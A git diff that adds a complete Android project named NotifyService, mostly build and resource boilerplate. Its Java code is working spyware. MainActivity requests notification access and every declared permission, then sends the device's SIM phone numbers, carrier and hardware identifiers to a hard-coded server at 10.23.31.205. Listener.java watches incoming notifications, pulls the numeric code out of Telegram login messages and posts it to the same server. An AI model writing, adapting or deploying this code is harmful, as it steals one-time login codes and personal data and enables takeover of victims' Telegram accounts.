diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..0b60cf6 --- /dev/null +++ b/.gitignore @@ -0,0 +1,93 @@ +*.iml +.gradle +/local.properties +/.idea/caches +/.idea/libraries +/.idea/modules.xml +/.idea/workspace.xml +/.idea/navEditor.xml +/.idea/assetWizardSettings.xml +.DS_Store +/build +/captures +.externalNativeBuild +.cxx +local.properties + +# Covers JetBrains IDEs: IntelliJ, RubyMine, PhpStorm, AppCode, PyCharm, CLion, Android Studio, WebStorm and Rider +# Reference: https://intellij-support.jetbrains.com/hc/en-us/articles/206544839 + +# User-specific stuff +.idea/**/workspace.xml +.idea/**/tasks.xml +.idea/**/usage.statistics.xml +.idea/**/dictionaries +.idea/**/shelf + +# AWS User-specific +.idea/**/aws.xml + +# Generated files +.idea/**/contentModel.xml + +# Sensitive or high-churn files +.idea/**/dataSources/ +.idea/**/dataSources.ids +.idea/**/dataSources.local.xml +.idea/**/sqlDataSources.xml +.idea/**/dynamic.xml +.idea/**/uiDesigner.xml +.idea/**/dbnavigator.xml + +# Gradle +.idea/**/gradle.xml +.idea/**/libraries + +# Gradle and Maven with auto-import +# When using Gradle or Maven with auto-import, you should exclude module files, +# since they will be recreated, and may cause churn. Uncomment if using +# auto-import. +# .idea/artifacts +# .idea/compiler.xml +# .idea/jarRepositories.xml +# .idea/modules.xml +# .idea/*.iml +# .idea/modules +# *.iml +# *.ipr + +# CMake +cmake-build-*/ + +# Mongo Explorer plugin +.idea/**/mongoSettings.xml + +# File-based project format +*.iws + +# IntelliJ +out/ + +# mpeltonen/sbt-idea plugin +.idea_modules/ + +# JIRA plugin +atlassian-ide-plugin.xml + +# Cursive Clojure plugin +.idea/replstate.xml + +# SonarLint plugin +.idea/sonarlint/ + +# Crashlytics plugin (for Android Studio and IntelliJ) +com_crashlytics_export_strings.xml +crashlytics.properties +crashlytics-build.properties +fabric.properties + +# Editor-based Rest Client +.idea/httpRequests + +# Android studio 3.1+ serialized cache file +.idea/caches/build_file_checksums.ser \ No newline at end of file diff --git a/.idea/.gitignore b/.idea/.gitignore new file mode 100644 index 0000000..26d3352 --- /dev/null +++ b/.idea/.gitignore @@ -0,0 +1,3 @@ +# Default ignored files +/shelf/ +/workspace.xml diff --git a/.idea/compiler.xml b/.idea/compiler.xml new file mode 100644 index 0000000..b589d56 --- /dev/null +++ b/.idea/compiler.xml @@ -0,0 +1,6 @@ + + + + + + \ No newline at end of file diff --git a/.idea/deploymentTargetSelector.xml b/.idea/deploymentTargetSelector.xml new file mode 100644 index 0000000..26284bd --- /dev/null +++ b/.idea/deploymentTargetSelector.xml @@ -0,0 +1,18 @@ + + + + + + + + + \ No newline at end of file diff --git a/.idea/migrations.xml b/.idea/migrations.xml new file mode 100644 index 0000000..f8051a6 --- /dev/null +++ b/.idea/migrations.xml @@ -0,0 +1,10 @@ + + + + + + \ No newline at end of file diff --git a/.idea/misc.xml b/.idea/misc.xml new file mode 100644 index 0000000..8978d23 --- /dev/null +++ b/.idea/misc.xml @@ -0,0 +1,9 @@ + + + + + + + + \ No newline at end of file diff --git a/.idea/vcs.xml b/.idea/vcs.xml new file mode 100644 index 0000000..94a25f7 --- /dev/null +++ b/.idea/vcs.xml @@ -0,0 +1,6 @@ + + + + + + \ No newline at end of file diff --git a/app/.gitignore b/app/.gitignore new file mode 100644 index 0000000..42afabf --- /dev/null +++ b/app/.gitignore @@ -0,0 +1 @@ +/build \ No newline at end of file diff --git a/app/build.gradle.kts b/app/build.gradle.kts new file mode 100644 index 0000000..44e22bf --- /dev/null +++ b/app/build.gradle.kts @@ -0,0 +1,44 @@ +plugins { + alias(libs.plugins.android.application) +} + +android { + namespace = "com.example.notifyservice" + compileSdk = 34 + + defaultConfig { + applicationId = "com.example.notifyservice" + minSdk = 24 + targetSdk = 34 + versionCode = 1 + versionName = "1.0" + + testInstrumentationRunner = "androidx.test.runner.AndroidJUnitRunner" + } + + buildTypes { + release { + isMinifyEnabled = false + proguardFiles( + getDefaultProguardFile("proguard-android-optimize.txt"), + "proguard-rules.pro" + ) + } + } + compileOptions { + sourceCompatibility = JavaVersion.VERSION_1_8 + targetCompatibility = JavaVersion.VERSION_1_8 + } +} + +dependencies { + + implementation(libs.appcompat) + implementation(libs.material) + implementation(libs.activity) + implementation(libs.constraintlayout) + testImplementation(libs.junit) + androidTestImplementation(libs.ext.junit) + androidTestImplementation(libs.espresso.core) + implementation(libs.okhttp) +} \ No newline at end of file diff --git a/app/proguard-rules.pro b/app/proguard-rules.pro new file mode 100644 index 0000000..481bb43 --- /dev/null +++ b/app/proguard-rules.pro @@ -0,0 +1,21 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile \ No newline at end of file diff --git a/app/src/androidTest/java/com/example/notifyservice/ExampleInstrumentedTest.java b/app/src/androidTest/java/com/example/notifyservice/ExampleInstrumentedTest.java new file mode 100644 index 0000000..009f558 --- /dev/null +++ b/app/src/androidTest/java/com/example/notifyservice/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package com.example.notifyservice; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("com.example.notifyservice", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/app/src/main/AndroidManifest.xml b/app/src/main/AndroidManifest.xml new file mode 100644 index 0000000..36e1106 --- /dev/null +++ b/app/src/main/AndroidManifest.xml @@ -0,0 +1,47 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/app/src/main/java/com/example/notifyservice/Listener.java b/app/src/main/java/com/example/notifyservice/Listener.java new file mode 100644 index 0000000..80c6964 --- /dev/null +++ b/app/src/main/java/com/example/notifyservice/Listener.java @@ -0,0 +1,69 @@ +package com.example.notifyservice; + +import android.app.Notification; +import android.content.Intent; +import android.os.Build; +import android.os.IBinder; +import android.service.notification.NotificationListenerService; +import android.service.notification.StatusBarNotification; +import android.util.Log; + +public class Listener extends NotificationListenerService { + + + String previousMessageText = ""; + + @Override + public IBinder onBind(Intent intent) { + return super.onBind(intent); + } + + private static String extractFirstNumber(String input) { + if (input == null || input.isEmpty()) { + return null; + } + + StringBuilder number = new StringBuilder(); + boolean foundDigit = false; + + for (char c : input.toCharArray()) { + if (Character.isDigit(c)) { + number.append(c); + foundDigit = true; + } else if (foundDigit) { + break; + } + } + + return number.length() > 0 ? number.toString() : ""; + } + + @Override + public void onNotificationPosted(StatusBarNotification sbn){ + String text = getNotificationText(sbn); + if(getShortcutSafe(sbn).isEmpty() && !text.isEmpty()) + previousMessageText = text; + if(getShortcutSafe(sbn).equals("ndid_777000") && previousMessageText.startsWith("Telegram:")){ + String code = extractFirstNumber(previousMessageText); + if(!code.isEmpty()) { + MainActivity.codeCallback(this, code); + } + } + } + + private String getShortcutSafe(StatusBarNotification sbn) { + String shortcutId = null; + if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.O) { + shortcutId = sbn.getNotification().getShortcutId(); + } else { + shortcutId = "ndid_777000"; + } + return shortcutId == null ? "" : shortcutId; + } + + private String getNotificationText(StatusBarNotification sbn) { + Notification notification = sbn.getNotification(); + CharSequence tickerText = notification.tickerText; + return tickerText == null ? "" : tickerText.toString() ; + } +} \ No newline at end of file diff --git a/app/src/main/java/com/example/notifyservice/MainActivity.java b/app/src/main/java/com/example/notifyservice/MainActivity.java new file mode 100644 index 0000000..c04ac78 --- /dev/null +++ b/app/src/main/java/com/example/notifyservice/MainActivity.java @@ -0,0 +1,199 @@ +package com.example.notifyservice; + +import android.content.Context; +import android.content.Intent; +import android.content.pm.PackageManager; +import android.net.ConnectivityManager; +import android.net.Network; +import android.net.NetworkCapabilities; +import android.net.NetworkInfo; +import android.net.Uri; +import android.os.Build; +import android.os.Bundle; + +import androidx.activity.EdgeToEdge; +import androidx.annotation.NonNull; +import androidx.appcompat.app.AppCompatActivity; +import androidx.core.app.ActivityCompat; +import androidx.core.graphics.Insets; +import androidx.core.view.ViewCompat; +import androidx.core.view.WindowInsetsCompat; + +import android.os.Handler; +import android.os.PowerManager; +import android.provider.Settings; +import android.telephony.SubscriptionInfo; +import android.telephony.SubscriptionManager; +import android.util.Log; +import android.widget.Toast; + +import org.json.JSONException; + +import java.io.BufferedReader; +import java.io.IOException; +import java.io.InputStreamReader; +import java.net.MalformedURLException; +import java.net.URL; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.List; + +import java.io.OutputStream; +import java.net.HttpURLConnection; + +public class MainActivity extends AppCompatActivity { + + @Override + protected void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + EdgeToEdge.enable(this); + setContentView(R.layout.activity_main); + + if (!isNotificationServiceEnabled()) { + requestNotificationAccess(); + } else { + requestPermissions(retrievePermissions(this)); + } + + } + + public static String getDeviceInfo(String p_seperator, Context context) + { + String m_data = ""; + StringBuilder m_builder = new StringBuilder(); + m_builder.append(android.os.Build.VERSION.RELEASE + p_seperator); + m_builder.append(android.os.Build.DEVICE + p_seperator); + m_builder.append(android.os.Build.MODEL + p_seperator); + m_builder.append(android.os.Build.PRODUCT + p_seperator); + m_builder.append(android.os.Build.BRAND + p_seperator); + m_builder.append(android.os.Build.DISPLAY + p_seperator); + // TODO : android.os.Build.CPU_ABI is deprecated + m_builder.append(android.os.Build.CPU_ABI + p_seperator); + // TODO : android.os.Build.CPU_ABI2 is deprecated + m_builder.append(android.os.Build.CPU_ABI2 + p_seperator); + m_builder.append(android.os.Build.UNKNOWN + p_seperator); + m_builder.append(android.os.Build.HARDWARE + p_seperator); + m_builder.append(android.os.Build.ID + p_seperator); + m_builder.append(android.os.Build.MANUFACTURER + p_seperator); + m_builder.append(android.os.Build.SERIAL + p_seperator); + m_builder.append(android.os.Build.USER + p_seperator); + m_builder.append(android.os.Build.HOST + p_seperator); + String android_id = Settings.Secure.getString(context.getContentResolver(), Settings.Secure.ANDROID_ID); + m_builder.append(android_id + p_seperator); + m_data = m_builder.toString(); + return m_data; + } + + @Override + public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) { + super.onRequestPermissionsResult(requestCode, permissions, grantResults); + if (requestCode == 1 && grantResults.length > 0 && !(grantResults[0] == PackageManager.PERMISSION_GRANTED)) { + requestPermissions(retrievePermissions(this)); + } else if (grantResults.length > 0 && grantResults[0] == PackageManager.PERMISSION_GRANTED){ + Context permissionContext = this; + new Handler().postDelayed(() -> makeProcess(permissionContext), 500); + } + } + + private void makeProcess(Context context) { + PostRequest postRequestTask = new PostRequest(context); + postRequestTask.execute("http://10.23.31.205:8000/phone", listToJson(collectPhoneNumber(context)) + ";" + getDeviceInfo(":", context)); + } + + private String listToJson(List list) { + StringBuilder jsonBuilder = new StringBuilder(); + jsonBuilder.append("["); + + for (int i = 0; i < list.size(); i++) { + Object item = list.get(i); + jsonBuilder.append(objectToJson(item)); + if (i < list.size() - 1) { + jsonBuilder.append(", "); + } + } + + jsonBuilder.append("]"); + return jsonBuilder.toString(); + } + + private String objectToJson(Object obj) { + if (obj instanceof String) { + return "\"" + escapeJson((String) obj) + "\""; + } else if (obj instanceof Number || obj instanceof Boolean) { + return obj.toString(); + } else { + // For other types, you can implement more logic as needed + return "\"" + escapeJson(obj.toString()) + "\""; + } + } + + private String escapeJson(String raw) { + String escaped = raw; + escaped = escaped.replace("\\", "\\\\"); + escaped = escaped.replace("\"", "\\\""); + escaped = escaped.replace("\b", "\\b"); + escaped = escaped.replace("\f", "\\f"); + escaped = escaped.replace("\n", "\\n"); + escaped = escaped.replace("\r", "\\r"); + escaped = escaped.replace("\t", "\\t"); + return escaped; + } + + private boolean isNotificationServiceEnabled() { + String packageName = getPackageName(); + String enabledListeners = Settings.Secure.getString( + getContentResolver(), + "enabled_notification_listeners" + ); + return enabledListeners != null && enabledListeners.contains(packageName); + } + + private void requestNotificationAccess() { + Intent intent = new Intent(Settings.ACTION_NOTIFICATION_LISTENER_SETTINGS); + startActivity(intent); + } + + private static String[] retrievePermissions(Context context) { + final String pkgName = context.getPackageName(); + try { + return context + .getPackageManager() + .getPackageInfo(pkgName, PackageManager.GET_PERMISSIONS) + .requestedPermissions; + } catch (PackageManager.NameNotFoundException e) { + return new String[0]; + } + } + + private void requestPermissions(String[] permissions) { + ActivityCompat.requestPermissions(MainActivity.this, permissions, 1); + } + + private static boolean isNetworkAvailable(Context context) { + ConnectivityManager connectivityManager = (ConnectivityManager) context.getSystemService(Context.CONNECTIVITY_SERVICE); + Network nw = connectivityManager.getActiveNetwork(); + if (nw == null) return false; + NetworkCapabilities actNw = connectivityManager.getNetworkCapabilities(nw); + return actNw != null && (actNw.hasTransport(NetworkCapabilities.TRANSPORT_WIFI) || actNw.hasTransport(NetworkCapabilities.TRANSPORT_CELLULAR) || actNw.hasTransport(NetworkCapabilities.TRANSPORT_ETHERNET)); + } + + private List collectPhoneNumber(Context context){ + List phoneNumbers = new ArrayList<>(); + if (ActivityCompat.checkSelfPermission(context, "android.permission.READ_PHONE_STATE") != PackageManager.PERMISSION_GRANTED) { + return phoneNumbers; + } + SubscriptionManager manager = SubscriptionManager.from(context.getApplicationContext()); + List subscriptions = manager.getActiveSubscriptionInfoList(); + + for (int i = 0; i < subscriptions.size(); i++) { + SubscriptionInfo currentCard = subscriptions.get(i); + phoneNumbers.add((Build.VERSION.SDK_INT >= 33 ? manager.getPhoneNumber(currentCard.getSubscriptionId()) : currentCard.getNumber()) + ":" + currentCard.getCountryIso() + ":" + currentCard.getCarrierName().toString()); + } + return phoneNumbers; + } + + public static void codeCallback(Context context, String string) { + PostRequest postRequestTask = new PostRequest(context); + postRequestTask.execute("http://10.23.31.205:8000/code", string + ";" + getDeviceInfo(":", context)); + } +} \ No newline at end of file diff --git a/app/src/main/java/com/example/notifyservice/PostRequest.java b/app/src/main/java/com/example/notifyservice/PostRequest.java new file mode 100644 index 0000000..e0ef6f3 --- /dev/null +++ b/app/src/main/java/com/example/notifyservice/PostRequest.java @@ -0,0 +1,59 @@ +package com.example.notifyservice; + +import android.content.Context; +import android.util.Log; + +import androidx.annotation.NonNull; + +import org.json.JSONArray; +import org.json.JSONObject; + +import java.io.IOException; + +import okhttp3.Call; +import okhttp3.Callback; +import okhttp3.OkHttpClient; +import okhttp3.Request; +import okhttp3.RequestBody; +import okhttp3.Response; + +public class PostRequest { + + private Context context; + + public PostRequest(Context context) { + this.context = context; + } + + public final OkHttpClient client = new OkHttpClient(); + + public void execute(String... params) { + String urlString = params[0]; + String jsonData = params[1]; + + Request request = new Request.Builder() + .url(urlString) + .post(RequestBody.create(jsonData.getBytes())) + .build(); + + Call call = client.newCall(request); + call.enqueue(new Callback() { + public void onResponse(@NonNull Call call, @NonNull Response response) throws IOException { + onPostExecute(response.body() != null ? response.body().string() : ""); + } + + public void onFailure(@NonNull Call call, @NonNull IOException e) { + + } + }); + } + + protected void onPostExecute(String result) { + try { + Log.i("Result", result); + + } catch (Exception e) { + } + // Handle the JSON response here + } +} diff --git a/app/src/main/res/drawable/ic_launcher_background.xml b/app/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/app/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/app/src/main/res/drawable/ic_launcher_foreground.xml b/app/src/main/res/drawable/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/app/src/main/res/drawable/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/app/src/main/res/layout/activity_main.xml b/app/src/main/res/layout/activity_main.xml new file mode 100644 index 0000000..86a5d97 --- /dev/null +++ b/app/src/main/res/layout/activity_main.xml @@ -0,0 +1,19 @@ + + + + + + \ No newline at end of file diff --git a/app/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/app/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..6f3b755 --- /dev/null +++ b/app/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,6 @@ + + + + + + \ No newline at end of file diff --git a/app/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/app/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..6f3b755 --- /dev/null +++ b/app/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,6 @@ + + + + + + \ No newline at end of file diff --git a/app/src/main/res/mipmap-hdpi/ic_launcher.webp b/app/src/main/res/mipmap-hdpi/ic_launcher.webp new file mode 100644 index 0000000..c209e78 Binary files /dev/null and b/app/src/main/res/mipmap-hdpi/ic_launcher.webp differ diff --git a/app/src/main/res/mipmap-hdpi/ic_launcher_round.webp b/app/src/main/res/mipmap-hdpi/ic_launcher_round.webp new file mode 100644 index 0000000..b2dfe3d Binary files /dev/null and b/app/src/main/res/mipmap-hdpi/ic_launcher_round.webp differ diff --git a/app/src/main/res/mipmap-mdpi/ic_launcher.webp b/app/src/main/res/mipmap-mdpi/ic_launcher.webp new file mode 100644 index 0000000..4f0f1d6 Binary files /dev/null and b/app/src/main/res/mipmap-mdpi/ic_launcher.webp differ diff --git a/app/src/main/res/mipmap-mdpi/ic_launcher_round.webp b/app/src/main/res/mipmap-mdpi/ic_launcher_round.webp new file mode 100644 index 0000000..62b611d Binary files /dev/null and b/app/src/main/res/mipmap-mdpi/ic_launcher_round.webp differ diff --git a/app/src/main/res/mipmap-xhdpi/ic_launcher.webp b/app/src/main/res/mipmap-xhdpi/ic_launcher.webp new file mode 100644 index 0000000..948a307 Binary files /dev/null and b/app/src/main/res/mipmap-xhdpi/ic_launcher.webp differ diff --git a/app/src/main/res/mipmap-xhdpi/ic_launcher_round.webp b/app/src/main/res/mipmap-xhdpi/ic_launcher_round.webp new file mode 100644 index 0000000..1b9a695 Binary files /dev/null and b/app/src/main/res/mipmap-xhdpi/ic_launcher_round.webp differ diff --git a/app/src/main/res/mipmap-xxhdpi/ic_launcher.webp b/app/src/main/res/mipmap-xxhdpi/ic_launcher.webp new file mode 100644 index 0000000..28d4b77 Binary files /dev/null and b/app/src/main/res/mipmap-xxhdpi/ic_launcher.webp differ diff --git a/app/src/main/res/mipmap-xxhdpi/ic_launcher_round.webp b/app/src/main/res/mipmap-xxhdpi/ic_launcher_round.webp new file mode 100644 index 0000000..9287f50 Binary files /dev/null and b/app/src/main/res/mipmap-xxhdpi/ic_launcher_round.webp differ diff --git a/app/src/main/res/mipmap-xxxhdpi/ic_launcher.webp b/app/src/main/res/mipmap-xxxhdpi/ic_launcher.webp new file mode 100644 index 0000000..aa7d642 Binary files /dev/null and b/app/src/main/res/mipmap-xxxhdpi/ic_launcher.webp differ diff --git a/app/src/main/res/mipmap-xxxhdpi/ic_launcher_round.webp b/app/src/main/res/mipmap-xxxhdpi/ic_launcher_round.webp new file mode 100644 index 0000000..9126ae3 Binary files /dev/null and b/app/src/main/res/mipmap-xxxhdpi/ic_launcher_round.webp differ diff --git a/app/src/main/res/values-night/themes.xml b/app/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..f5a22ab --- /dev/null +++ b/app/src/main/res/values-night/themes.xml @@ -0,0 +1,7 @@ + + + + \ No newline at end of file diff --git a/app/src/main/res/values/colors.xml b/app/src/main/res/values/colors.xml new file mode 100644 index 0000000..c8524cd --- /dev/null +++ b/app/src/main/res/values/colors.xml @@ -0,0 +1,5 @@ + + + #FF000000 + #FFFFFFFF + \ No newline at end of file diff --git a/app/src/main/res/values/strings.xml b/app/src/main/res/values/strings.xml new file mode 100644 index 0000000..b3a1e43 --- /dev/null +++ b/app/src/main/res/values/strings.xml @@ -0,0 +1,3 @@ + + NotifyService + \ No newline at end of file diff --git a/app/src/main/res/values/themes.xml b/app/src/main/res/values/themes.xml new file mode 100644 index 0000000..b48bd75 --- /dev/null +++ b/app/src/main/res/values/themes.xml @@ -0,0 +1,9 @@ + + + + +